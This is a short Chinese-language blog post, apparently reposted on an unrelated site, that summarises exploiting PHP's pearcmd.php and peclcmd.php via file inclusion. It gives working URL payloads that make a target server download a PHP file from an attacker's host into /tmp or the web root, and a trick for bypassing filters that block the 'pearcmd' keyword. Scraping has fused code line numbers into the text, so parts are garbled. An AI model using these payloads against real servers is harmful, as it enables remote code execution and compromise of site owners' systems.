关于pearcmd利用总结

您所在的位置:网站首页 peardownload 关于pearcmd利用总结

关于pearcmd利用总结

#关于pearcmd利用总结 | 来源: 网络整理| 查看: 265

环境条件

有两个条件

pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。

不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php

并且php.ini当中 register_argc_argv=On需要开启

准备12+/tmp/test.php install1/?file=/www/server/php/52/lib/php/peclcmd.php&+install+http://vps/1.php

文件就会被下载到/tmp/pear/download/1.php,回显能看到

download

个人觉得这个比上面install舒服点,这个直接下载到web目录了,不用提前知道web目录具体路径

1/?file=/www/server/php/52/lib/php/peclcmd.php&+download+http://vps/1.php 闲话

如果pearcmd关键词被ban怎么半,其实可以用peclcmd.php作为平替,在这个php文件当中其实就是引入了pearcmd.php

123456789if ('/www/server/php/52/lib/php' != '@'.'include_path'.'@') { ini_set('include_path', '/www/server/php/52/lib/php'); $raw = false;} else { // this is a raw, uninstalled pear, either a cvs checkout, or php distro $raw = true;}define('PEAR_RUNTYPE', 'pecl');require_once 'pearcmd.php'; 参考文章

https://tttang.com/archive/1312/



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3